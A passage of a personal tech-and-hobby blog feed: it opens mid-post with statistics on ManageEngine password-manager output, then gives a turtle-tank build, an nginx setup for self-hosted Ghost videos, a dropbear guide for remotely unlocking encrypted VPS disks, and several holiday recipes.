(24, {'s': 28, 'u': 2310, 'l': 2346, 'd': 28})
(25, {'s': 25, 'u': 2306, 'l': 2364, 'd': 17})
(26, {'s': 10, 'u': 2377, 'l': 2308, 'd': 17})
(27, {'s': 5, 'u': 2341, 'l': 2352, 'd': 14})
(28, {'s': 10, 'u': 2355, 'l': 2341, 'd': 6})
(29, {'s': 5, 'u': 2349, 'l': 2357, 'd': 1})
(30, {'s': 5, 'u': 2358, 'l': 2346, 'd': 3})
(31, {'s': 3, 'u': 2398, 'l': 2307, 'd': 4})
(32, {'s': 7, 'u': 2354, 'l': 2351, 'd': 0})
</code></pre>
<p>Char frequency:</p>
<p><img src="https://init6.me/content/images/2017/12/feqChart.png" alt="ManageEngine Password Pro"></p>
<pre><code>('a', 4446)    ('c', 4589)     ('b', 4416)     ('e', 4459)
('d', 4572)    ('g', 4515)     ('f', 4544)     ('i', 4502)
('h', 4539)    ('k', 4430)     ('j', 4467)     ('m', 4579)
('l', 4494)    ('o', 4553)     ('n', 4454)     ('q', 4539)
('p', 4669)    ('s', 4499)     ('r', 4463)     ('u', 4521)
('t', 4678)    ('w', 4531)     ('v', 4434)     ('y', 4595)
('x', 4488)    ('z', 4614)     
('1', 1772)    ('0', 1733)     ('3', 3436)     ('2', 1780)
('5', 1656)    ('4', 1755)     ('7', 1738)     ('6', 1751)
('9', 1673)    ('8', 1764)

('@', 1380)    ('%', 1443)     ('$', 1414)     ('=', 1435)
('&amp;', 1377)    (')', 1369)     ('(', 1434)     ('*', 1415)
('-', 1464)    ('^', 1405)
</code></pre>
<p>Is this the end of the world? No. However, I wouldn't trust a company that makes this kind of mistakes. This is spouse to be a password manager that protects all your passwords for your company. If someone was able to steal the password manager database with enough time I believe the bad actor could crack the password and gain access to all the sensitive information.</p>
<p>This isn't the first time I picked on ManageEngine and wont be the last. I got 3 CVE's on ManageEngine EventLog Analyzer you can check out that Blog entry <a href="https://init6.me/exploiting-manageengine-eventlog-analyzer/">here</a></p>
]]></content:encoded></item><item><title><![CDATA[Samuel L. Jackson Tank Upgrades]]></title><description><![CDATA[ Custom aquarium upgrades for my Turtle Sammy and Fish.]]></description><link>https://init6.me/samuel-l-jackson-tank-upgrade-2/</link><guid isPermaLink="false">59f7ab741aa66a04bddd0ae5</guid><category><![CDATA[Turtle]]></category><category><![CDATA[acrylic]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Tue, 31 Oct 2017 21:29:56 GMT</pubDate><media:content url="https://init6.me/content/images/2017/10/20171030_160154.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://init6.me/content/images/2017/10/20171030_160154.jpg" alt="Samuel L. Jackson Tank Upgrades"><p>Made great progress upgrading my tank. Some more work still needs to be done. however, I needed to get it laid out the best I could so I can see what other improvements are needed. Using 2.2mm acrylic that I bought from home depot; I made top pieces, basking area for Sammy, divider to separate Sammy and the fish, and a gravel retaining wall. Using the laser cutter from <a href="https://thelab.ms">TheLab.ms</a> (local Plano, TX makerspace) I was able to cut everything out.<br>
<img src="https://init6.me/content/images/2017/10/20171030_160236.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>On the fish side I used black gravel and planted some plants. On the turtle side I used black sand as gravel can hurt or kill a turtle if they decide to eat it (Hint: They will). I placed some larger river rocks and some fake plants. Some turtles will eat the fake plants, Sammy has been pretty good and hasn't tried to yet. The device on the right hand side is a electric flow fan to circulate the water. The fan and light are hooked up to a z-wave power strip that is controlled by my computer. Light turns on at 7:30am and turns off at 10:00pm. The fan turns on every 10 minutes for 1 minute. This is because Sammy doesn't really like it that much but I need better water circulation so we came to a compromise. Also, have a nice adjustable heater to keep the fish and Sammy warm. Just got a new <a href="https://www.amazon.com/HW-704B-5-Stage-External-Canister-Sterilizer/dp/B015JMQRNC/">SunSun HW-704B 525 GPH 5-Stage Canister Filter</a>. I'll be hooking the new pump up shortly and run both at the same time until the new filter has a chance to build up good bacteria.</p>
<p>Now onto some action shots.</p>
<p>This is a picture of the gravel retaining wall and just on the other side two amazing bottles Laphroaig 10 Year Scotch and Zacapa 23 year Rum is hold down a 5mm x 192mm acrylic strip glued down with aquarium safe silicone. The divider seats inbetween the gap of the acrylic strip and retaining wall so it can swing out.</p>
<p><img src="https://init6.me/content/images/2017/11/20171029_005534.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Close up of the fish side. (Not Sushi please don't eat)</p>
<p><img src="https://init6.me/content/images/2017/10/20171030_100855.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Some close up shots of the turtle side</p>
<p><img src="https://init6.me/content/images/2017/10/20171030_100905.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_100908.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>To build the basking area I attached each piece to each other using electric tape. Electric tape applies tension as it tries to shrink what helps keep everything tight while you weld them together using <a href="https://www.amazon.com/gp/product/B0096TWKCW/ref=s9_dcacsd_dcoop_bw_c_x_1_w">Weldon #4 Acrylic solvent</a></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125147.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125154.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125219.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125227.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125253.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125313.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171015_125419.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Some close up shots of the turtle basking area.</p>
<p>After I set up the basking area I realized the 50mm safety wall that extends out wont work well enough. I will make another cage that fits going the other direction. Until then, I placed some acrylic scraps to ensure he doesn't try to climb out.</p>
<p>Used the astro turf from home depot. Unfortunately its not working out well. I need to find some better quality astro turf. Sammy has been pulling the green grass off and causing a mess.</p>
<p><img src="https://init6.me/content/images/2017/10/20171030_100918.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101026.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101030.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101038.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101040.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Its hard to see here but I etched Samuel L. Jackson into the acrylic divider along with two turtles. It was fun to watch the laser cutter cut all those holes.</p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101047.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101053.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_101054.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Here is a screenshot of the design from the laser cutter software.<br>
In person, it looks great. Just hard to take a picture through glass and water.</p>
<p><img src="https://init6.me/content/images/2017/10/TurtleCutOut.PNG" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Some actions shots of Sammy enjoying his new tank setup.</p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160143.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160152.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160154-1.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160158.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160200.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160219.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p><img src="https://init6.me/content/images/2017/10/20171030_160223.jpg" alt="Samuel L. Jackson Tank Upgrades"></p>
<p>Next, I am going to change the ramp to the basking area. Where the ramp currently ends it will extend all the way to the glass horizontally creating a platform just below the water surface and turns back onto its self with a second ramp going deeper into the water. This should give Sammy a nice safe area to sleep at night. After the ramp is made I'll be making the other side of the basking area so he can't climb out.</p>
]]></content:encoded></item><item><title><![CDATA[Hosting your Own Videos on Ghost]]></title><description><![CDATA[<p>Ghost blog framework works well for hosting videos on YouTube.com and Vimeo.com. However, if you are like me and prefer to host your own videos follow the steps below. It's actually pretty easy.</p>
<p>Edit your Nginx configuration.<br>
<code>sudo vi /etc/nginx/sites-enabled/site.conf</code></p>
<p>Add the following to</p>]]></description><link>https://init6.me/hosting-your-own-videos-on-ghost/</link><guid isPermaLink="false">59d25ce81aa66a04bddd0ad6</guid><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Mon, 02 Oct 2017 15:53:02 GMT</pubDate><content:encoded><![CDATA[<p>Ghost blog framework works well for hosting videos on YouTube.com and Vimeo.com. However, if you are like me and prefer to host your own videos follow the steps below. It's actually pretty easy.</p>
<p>Edit your Nginx configuration.<br>
<code>sudo vi /etc/nginx/sites-enabled/site.conf</code></p>
<p>Add the following to your server configuration.</p>
<pre><code>location ~ /videos {
    root /var/www/ghost;
}
</code></pre>
<p>The whole file should look simliar to this.</p>
<pre><code>server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    server_name init6.me;
    root /var/www/ghost/system/nginx-root;

    ssl_certificate /home/init6/.acme.sh/init6.me/fullchain.cer;
    ssl_certificate_key /home/init6/.acme.sh/init6.me/init6.me.key;
    include /var/www/ghost/system/files/ssl-params.conf;

    location / {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Host $http_host;
        proxy_pass http://127.0.0.1:2368;

    }
    
    location ~ /.well-known {
        allow all;
    }

    location ~ /videos {
        root /var/www/ghost;
    }

    client_max_body_size 50m;
}
</code></pre>
<p>Now we need to create the videos directory and set the correct permissions.<br>
<code>sudo mkdir -p /var/www/ghost/videos</code></p>
<p>Replace user:user with the user you used when setting up your Ghost.<br>
<code>sudo chown -R user:user /var/www/ghost/videos</code></p>
<p>In your Ghost stories, you can add the following.</p>
<p><code>&lt;video width=&quot;1280&quot; height=&quot;720&quot; src=&quot;https://yourdomain.com/videos/file_name.mp4&quot; controls&gt;&lt;/video&gt;</code></p>
<p>If your theme is using Bootstrap you can also use a responsive embed. This will fully automate making the video responsive.</p>
<pre><code>&lt;!-- 16:9 aspect ratio --&gt;
&lt;div class=&quot;embed-responsive embed-responsive-16by9&quot;&gt;
  &lt;iframe class=&quot;embed-responsive-item&quot; src=&quot;...&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- 4:3 aspect ratio --&gt;
&lt;div class=&quot;embed-responsive embed-responsive-4by3&quot;&gt;
  &lt;iframe class=&quot;embed-responsive-item&quot; src=&quot;...&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;</code></pre>
]]></content:encoded></item><item><title><![CDATA[Unlock VPS Full Disk Encryption]]></title><description><![CDATA[<p>Having Full Disk Encryption for your VPS or remote server is nice, however if you don't have local terminal or out-of-band access via IPMI/iLO the only way to unlock the root partation is to use SSH on boot.</p>
<p>The steps outlined here will show how to configure your server</p>]]></description><link>https://init6.me/unlock-vps-full-disk-encryption/</link><guid isPermaLink="false">59cfe1fc1aa66a04bddd0ac2</guid><category><![CDATA[sysadmin]]></category><category><![CDATA[dropbear]]></category><category><![CDATA[vps]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Sat, 30 Sep 2017 19:06:41 GMT</pubDate><media:content url="https://init6.me/content/images/2017/09/1200px-Dropbear.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://init6.me/content/images/2017/09/1200px-Dropbear.jpg" alt="Unlock VPS Full Disk Encryption"><p>Having Full Disk Encryption for your VPS or remote server is nice, however if you don't have local terminal or out-of-band access via IPMI/iLO the only way to unlock the root partation is to use SSH on boot.</p>
<p>The steps outlined here will show how to configure your server to unlock your encrypted drives remotely. Steps here are for Ubuntu 16.04 and were collected from several stack exchange answers and MAN pages.</p>
<h2 id="serverconfiguration">Server Configuration</h2>
<p>Install dropbear and busybox:<br>
<code>sudo apt install dropbear busybox</code></p>
<p>Edit dropbear set NO_START=0 and change hostkey paths.<br>
<code>sudo vi /etc/default/dropbear</code></p>
<p>Should look like the following:</p>
<pre><code># disabled because OpenSSH is installed
# change to NO_START=0 to enable Dropbear
NO_START=0
# the TCP port that Dropbear listens on
DROPBEAR_PORT=22

# any additional arguments for Dropbear
DROPBEAR_EXTRA_ARGS=

# specify an optional banner file containing a message to be
# sent to clients before they connect, such as &quot;/etc/issue.net&quot;
DROPBEAR_BANNER=&quot;&quot;

# RSA hostkey file (default: /etc/dropbear/dropbear_rsa_host_key)
DROPBEAR_RSAKEY=&quot;/etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key&quot;

# DSS hostkey file (default: /etc/dropbear/dropbear_dss_host_key)
DROPBEAR_DSSKEY=&quot;/etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key&quot;

# ECDSA hostkey file (default: /etc/dropbear/dropbear_ecdsa_host_key)
DROPBEAR_ECDSAKEY=&quot;/etc/initramfs-tools/etc/dropbear/dropbear_ecdsa_host_key&quot;

# Receive window size - this is a tradeoff between memory and
# network performance
DROPBEAR_RECEIVE_WINDOW=65536
</code></pre>
<p>Next, Setup directory structure.<br>
<code>sudo mkdir -p /etc/initramfs-tools/root/.ssh</code></p>
<p>Create new dropbear private key.<br>
<code>sudo dropbearkey -t rsa -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear</code></p>
<p>Convert dropbear key to openssh format.<br>
<code>sudo /usr/lib/dropbear/dropbearconvert dropbear openssh /etc/initramfs-tools/root/.ssh/id_rsa.dropbear /etc/initramfs-tools/root/.ssh/id_rsa</code></p>
<p>Extract the public key from dropbear formated key.<br>
<code>sudo dropbearkey -y -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear | grep &quot;^ssh-rsa &quot; &gt; /etc/initramfs-tools/root/.ssh/id_rsa.pub</code></p>
<p>Put the public key into authorized_keys.<br>
<code>sudo cat /etc/initramfs-tools/root/.ssh/id_rsa.pub &gt;&gt; /etc/initramfs-tools/root/.ssh/authorized_keys</code></p>
<p>Create new hook script.<br>
<code>sudo vi /etc/initramfs-tools/hooks/crypt_unlock.sh</code></p>
<pre><code>#!/bin/sh

PREREQ=&quot;dropbear&quot;

prereqs() {
echo &quot;$PREREQ&quot;
}

case &quot;$1&quot; in
prereqs)
prereqs
exit 0
;;
esac

. &quot;${CONFDIR}/initramfs.conf&quot;
. /usr/share/initramfs-tools/hook-functions

if [ &quot;${DROPBEAR}&quot; != &quot;n&quot; ] &amp;&amp; [ -r &quot;/etc/crypttab&quot; ] ; then
cat &gt; &quot;${DESTDIR}/bin/unlock&quot; &lt;&lt; EOF
#!/bin/sh
if PATH=/lib/unlock:/bin:/sbin /scripts/local-top/cryptroot; then
kill \`ps | grep cryptroot | grep -v &quot;grep&quot; | awk '{print \$1}'\`
# following line kill the remote shell right after the passphrase has
# been entered.
kill -9 \`ps | grep &quot;\-sh&quot; | grep -v &quot;grep&quot; | awk '{print \$1}'\`
exit 0
fi
exit 1
EOF

chmod 755 &quot;${DESTDIR}/bin/unlock&quot;

mkdir -p &quot;${DESTDIR}/lib/unlock&quot;
cat &gt; &quot;${DESTDIR}/lib/unlock/plymouth&quot; &lt;&lt; EOF
#!/bin/sh
[ &quot;\$1&quot; == &quot;--ping&quot; ] &amp;&amp; exit 1
/bin/plymouth &quot;\$@&quot;
EOF

chmod 755 &quot;${DESTDIR}/lib/unlock/plymouth&quot;

echo To unlock root-partition run &quot;unlock&quot; &gt;&gt; ${DESTDIR}/etc/motd

fi
</code></pre>
<p>Make script executable.<br>
<code>sudo chmod +x /etc/initramfs-tools/hooks/crypt_unlock.sh</code></p>
<p>Edit initramfs.conf<br>
<code>sudo vi /etc/initramfs-tools/initramfs.conf</code></p>
<p>Set <code>BUSYBOX=y</code></p>
<p>Add <code>DROPBEAR=y</code> right under <code>BUSYBOX=y</code></p>
<p>Right under <code>DEVICE=</code> line add the following:<br>
<code>IP=11.111.11.214::11.111.11.222:255.255.255.240::ens160:off</code></p>
<p>Note: Keep <code>DEVICE=</code> unassigned otherwise it wont work.<br>
IP= format [host ip]::[gateway ip]:[netmask]:[hostname]:[device]:[autoconf]</p>
<p>Now we need to disable ens160 after we are done with drop bear so the system can bring it back online using system information.</p>
<p><code>sudo vi /usr/share/initramfs-tools/scripts/init-bottom/dropbear</code></p>
<p>Add the following at the bottom of the script:<br>
<code>ifconfig ens160 down</code></p>
<p>Disable dropbear on boot so OpenSSH can be used.<br>
<code>sudo update-rc.d -f dropbear remove</code></p>
<p>Optional step, change dropbear ssh port (recommended):<br>
<code>sudo vi /usr/share/initramfs-tools/scripts/init-premount/dropbear</code></p>
<p>In the run_dropbear() function, append <code>-p &lt;port#&gt;</code> to the exec line.<br>
<code>exec /sbin/dropbear ${DROPBEAR_OPTIONS:-$PKGOPTION_dropbear_OPTION} -Fs -p 3000</code></p>
<p>Update initramfs.<br>
<code>sudo update-initramfs -u</code></p>
<p>Server configuration is now compete.</p>
<h2 id="clientconfiguration">Client Configuration</h2>
<p>Now we need to get some information to the client and configure the client to connect.</p>
<p>Copy the host key and private key to your home dirictory.</p>
<p><code>sudo cp /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key /home/user/known_hosts.initramfs</code><br>
<code>sudo cp /etc/initramfs-tools/root/.ssh/id_rsa /home/user/id_rsa.initramfs</code></p>
<p>Change ownership so you can scp them later:<br>
<code>sudo chown user:user /home/user/known_hosts.initramfs</code><br>
<code>sudo chown user:user /home/user/id_rsa.initramfs</code></p>
<p>From the client (local computer), SCP the files from the server to your client (local computer).<br>
<code>scp user@11.111.11.214:/home/user/known_hosts.initramfs ~/.ssh/</code><br>
<code>scp user@11.111.11.214:/home/user/id_rsa.initramfs ~/.ssh/</code></p>
<p>Fix the permissions.<br>
<code>chmod 600 ~/.ssh/id_rsa.initramfs</code></p>
<p>Make a easy to use ssh config.<br>
<code>vi ~/.ssh/config</code></p>
<pre><code>Host alias_name
    Hostname 11.111.11.214
    User root
    Port 3000
    UserKnownHostsFile ~/.ssh/known_hosts.initramfs
    IdentityFile ~/.ssh/id_rsa.initramfs
</code></pre>
<p>To unlock the encrypted drives on restart, you just have to run the following.<br>
<code>ssh alias_name</code></p>
<p>Example output:</p>
<pre><code>init6@FBI:~$ ssh alias_name
The authenticity of host '[11.111.11.214]:3000 ([11.111.11.214]:3000)' can't be established.
ECDSA key fingerprint is SHA256:l62h1eAFWnIYlSrnTPfhDb9osIKEp4E9Gxw0NdHfMBQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[11.111.11.214]:3000' (ECDSA) to the list of known hosts.
To unlock root-partition run unlock


BusyBox v1.22.1 (Ubuntu 1:1.22.0-15ubuntu1) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# unlock
Please unlock disk sda5_crypt:
  /run/lvm/lvmetad.socket: connect failed: No such file or directory
  WARNING: Failed to connect to lvmetad. Falling back to internal scanning.
  Reading all physical volumes.  This may take a while...
  Found volume group &quot;vpn-vg&quot; using metadata type lvm2
  /run/lvm/lvmetad.socket: connect failed: No such file or directory
  WARNING: Failed to connect to lvmetad. Falling back to internal scanning.
  2 logical volume(s) in volume group &quot;vpn-vg&quot; now active
cryptsetup: sda5_crypt set up successfully
Connection to 11.111.11.214 closed.
</code></pre>
<p>Let it finish booting up and you can ssh into the server the normal way.</p>
]]></content:encoded></item><item><title><![CDATA[Old-Fashioned Pecan Pie]]></title><description><![CDATA[<h1 id="ingredients">Ingredients</h1>
<ul>
<li>1 Pie Crust</li>
<li>1/2 cup unsalted butter</li>
<li>3 tbsp flour</li>
<li>2 1/8 brown sugar</li>
<li>1/2 tsp salt</li>
<li>1/4 tsp cinnamon powder</li>
<li>6 tbsps milk</li>
<li>3 large eggs</li>
<li>2 tsps vinegar</li>
<li>2 tsps vanilla extract</li>
<li>1 1/2 cups pecans</li>
</ul>
<h1 id="instructions">Instructions</h1>
<ol>
<li>Preheat oven to 375F.</li>
<li>Melt</li></ol>]]></description><link>https://init6.me/old-fashioned-pecan-pie/</link><guid isPermaLink="false">59cfdf5a1aa66a04bddd0ac1</guid><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Sat, 30 Sep 2017 18:18:21 GMT</pubDate><media:content url="https://init6.me/content/images/2017/09/PecanPie-272x182.jpg" medium="image"/><content:encoded><![CDATA[<h1 id="ingredients">Ingredients</h1>
<ul>
<li>1 Pie Crust</li>
<li>1/2 cup unsalted butter</li>
<li>3 tbsp flour</li>
<li>2 1/8 brown sugar</li>
<li>1/2 tsp salt</li>
<li>1/4 tsp cinnamon powder</li>
<li>6 tbsps milk</li>
<li>3 large eggs</li>
<li>2 tsps vinegar</li>
<li>2 tsps vanilla extract</li>
<li>1 1/2 cups pecans</li>
</ul>
<h1 id="instructions">Instructions</h1>
<ol>
<li>Preheat oven to 375F.</li>
<li>Melt butter and let it cool down so its not too hot.</li>
<li>In a bowl, mix flour, sugar, and salt.</li>
<li>Mix in milk, and eggs.</li>
<li>Mix in vinegar, vanilla, butter, and nuts. You might be asking why vinegar…. Trust me, it helps balance off the 5000 calories of sweet sugar you put in before.</li>
<li>Pour mix into crust and bake for 45 minutes.</li>
<li>Remove from oven and let it cool completely before slicing.</li>
<li>Enjoy with a cup of coffee!</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Herb-Roasted Turkey]]></title><description><![CDATA[<p>Any good turkey starts with a good brine!</p>
<h1 id="brine">Brine</h1>
<h2 id="ingredients">Ingredients</h2>
<ul>
<li>1 – 3 Star anise (optional)</li>
<li>1 tablespoon coriander seeds</li>
<li>1 tablespoon fennel seeds</li>
<li>1 tablespoon Dried Thyme</li>
<li>1 tablespoon dried rosemary</li>
<li>1 tablespoon dried sage</li>
<li>1 tablespoon peppercorns (you can crush them if you want)</li>
<li>5 whole bay leaves (optional)</li></ul>]]></description><link>https://init6.me/herb-roasted-turkey/</link><guid isPermaLink="false">59cfda1b1aa66a04bddd0ac0</guid><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Sat, 30 Sep 2017 18:15:13 GMT</pubDate><media:content url="https://init6.me/content/images/2017/09/Turkey-272x182.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://init6.me/content/images/2017/09/Turkey-272x182.jpg" alt="Herb-Roasted Turkey"><p>Any good turkey starts with a good brine!</p>
<h1 id="brine">Brine</h1>
<h2 id="ingredients">Ingredients</h2>
<ul>
<li>1 – 3 Star anise (optional)</li>
<li>1 tablespoon coriander seeds</li>
<li>1 tablespoon fennel seeds</li>
<li>1 tablespoon Dried Thyme</li>
<li>1 tablespoon dried rosemary</li>
<li>1 tablespoon dried sage</li>
<li>1 tablespoon peppercorns (you can crush them if you want)</li>
<li>5 whole bay leaves (optional)</li>
<li>1 to 1.5 cups of sea salt</li>
<li>2 onions</li>
<li>2 leeks</li>
<li>2 – 3 celery sticks</li>
</ul>
<h2 id="instructions">Instructions</h2>
<ol>
<li>In a pot of water roughly 4 to 5 cups. Get it nice and hot and mix the following ingredients.
<ul>
<li>1 to 1.5 cups of sea salt</li>
</ul>
</li>
<li>After the salt is dissolved, Turn off the heat and add the following:
<ul>
<li>1 tablespoon coriander seeds</li>
<li>1 tablespoon fennel seeds</li>
<li>1 tablespoon Dried Thyme</li>
<li>1 tablespoon dried rosemary</li>
<li>1 tablespoon dried sage</li>
<li>1 tablespoon peppercorns (you can crush them if you want)</li>
<li>5 whole bay leaves (optional)</li>
</ul>
</li>
<li>Let the water cool down.</li>
<li>After its cooled down mix it in a 5 gal bucket (clean) with a couple gallans of cold water.</li>
<li>Throw in the following:
<ul>
<li>1 – 3 Star anise (optional)</li>
<li>2 onions, cut in chunks</li>
<li>2 leeks, cut in chunks</li>
<li>2 – 3 celery sticks, cut in chunks</li>
</ul>
</li>
<li>Place the turkey in the water. If you need to, add more water to cover turkey. The turkey should float barely.</li>
<li>Let it chill in refrigerator temps (35f) for a couple days.</li>
</ol>
<h1 id="herbroastedturkey">Herb-Roasted Turkey</h1>
<h2 id="ingredients">Ingredients</h2>
<ul>
<li>10 tablespoons (1 1/4 sticks) unsalted butter, softened</li>
<li>2 tablespoons finely chopped fresh flat-leaf parsley</li>
<li>1 tablespoon finely chopped fresh sage</li>
<li>1 tablespoon finely chopped fresh rosemary</li>
<li>1 tablespoon finely chopped fresh thyme</li>
<li>Kosher salt and freshly ground black pepper</li>
<li>6 cups chicken stock</li>
<li>3 large carrots, cut into chunks</li>
<li>3 large stalks celery, cut into chunks</li>
<li>2 large onions, cut into chunks</li>
</ul>
<h2 id="instructions">Instructions</h2>
<ol>
<li>Make herb-butter: Combine the butter, parsley, sage, rosemary, and thyme in a food processor and process until smooth. Season with salt and pepper.</li>
<li>Preheat the oven to 450°F.</li>
<li>Put 4 cups of the chicken stock in a medium saucepan and keep warm over low heat. If you have no plans for your gizzards, put them in the pot with the stock. They will get cooked after 1 hr or so and you can munch on delicious gizzards.</li>
<li>Season the cavity of the turkey with salt and pepper and fill the cavity with half of the carrots, celery, and onions. Rub the entire turkey with the herb butter and season LIBERALLY with salt and pepper.</li>
<li>Scatter the remaining vegetables on the bottom of a large roasting pan. Fit a rack over the vegetables and put the turkey on top of the rack. Pour the remaining 2 cups stock into the bottom of the roasting pan and carefully put the pan in the oven. Roast until the turkey is light golden brown, about 45 minutes. Do not open the oven, leave it alone.</li>
<li>Reduce the oven temperature to 350°F and continue roasting, basting with the warm chicken stock every 15 minutes.</li>
<li>Bake until an instant-read thermometer inserted in the thigh registers 160°F, about 2 1/2 hours longer. Guesstimate about 15 minutes of cooking time per 1 lb of turkey.</li>
<li>Let your turkey rest! Poor thing had a tough time getting cooked. Rest for 30 minutes or so, covered in foil if possible, to keep it moist.</li>
<li>Strain the stock in the bottom of the roasting pan through a strainer lined with cheesecloth or paper towels into a medium saucepan. Discard the solids. Boil the stock until reduced to a sauce consistency. Arrange the turkey on a large platter and drizzle with the reduced stock. If you feel like it, you can add 1 tbsp of of cornstarch dissolved in 2 tbsp of cold water and mixed in with the hot liquid to thicken it. This makes a delish gravy.</li>
</ol>
<p>After 3 days of hard work, your turkey is ready. Enjoy!</p>
]]></content:encoded></item><item><title><![CDATA[Easy to make Apple Pie]]></title><description><![CDATA[<h1 id="ingredients">Ingredients</h1>
<p>2 Pie crusts, 1 for top and 1 for bottom. Store bought or hand-made.<br>
1/2 cup unsalted butter<br>
3 tbsp flour<br>
1/4 cup of water<br>
1/2 cup of white sugar<br>
1/2 cup of brown sugar<br>
8 apples, peeled and sliced</p>
<h1 id="instructions">Instructions</h1>
<ol>
<li>Preheat oven to 425</li></ol>]]></description><link>https://init6.me/easy-to-make-apple-pie/</link><guid isPermaLink="false">59cfd9681aa66a04bddd0abf</guid><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Sat, 30 Sep 2017 17:52:48 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1481130797134-0c0b917e6caa?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=2c318a69ce019ab32098b85c834d8b60" medium="image"/><content:encoded><![CDATA[<h1 id="ingredients">Ingredients</h1>
<img src="https://images.unsplash.com/photo-1481130797134-0c0b917e6caa?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=2c318a69ce019ab32098b85c834d8b60" alt="Easy to make Apple Pie"><p>2 Pie crusts, 1 for top and 1 for bottom. Store bought or hand-made.<br>
1/2 cup unsalted butter<br>
3 tbsp flour<br>
1/4 cup of water<br>
1/2 cup of white sugar<br>
1/2 cup of brown sugar<br>
8 apples, peeled and sliced</p>
<h1 id="instructions">Instructions</h1>
<ol>
<li>Preheat oven to 425 degrees F. Melt the butter in a saucepan. Stir in flour to form a paste. Add water, white sugar and brown sugar, and bring to a boil. Reduce temperature and let simmer.</li>
<li>Fill crust with apples, mounded slightly. Cover with a lattice work crust. Gently pour the sugar and butter liquid over the crust. Pour slowly so that it does not run off.</li>
<li>Bake 15 minutes in the preheated oven. Reduce the temperature to 350 degrees F. Continue baking for 35 to 40 minutes.</li>
</ol>
<p>Let it cool down for about 30 minutes and enjoy with a big ball of vanilla bean ice cream on top!</p>
]]></content:encoded></item><item><title><![CDATA[Grandma Baker’s Dinner Rolls]]></title><description><![CDATA[Family recipe for the best Dinner Rolls]]></description><link>https://init6.me/grandma-bakers-dinner-rolls/</link><guid isPermaLink="false">59cdb93e1aa66a04bddd0aba</guid><category><![CDATA[food]]></category><category><![CDATA[rolls]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Fri, 29 Sep 2017 03:14:43 GMT</pubDate><media:content url="https://init6.me/content/images/2017/09/DinnerRolls.jpg" medium="image"/><content:encoded><![CDATA[<h1 id="ingredients">Ingredients</h1>
<img src="https://init6.me/content/images/2017/09/DinnerRolls.jpg" alt="Grandma Baker’s Dinner Rolls"><p>1 cup milk<br>
1/2 cup butter<br>
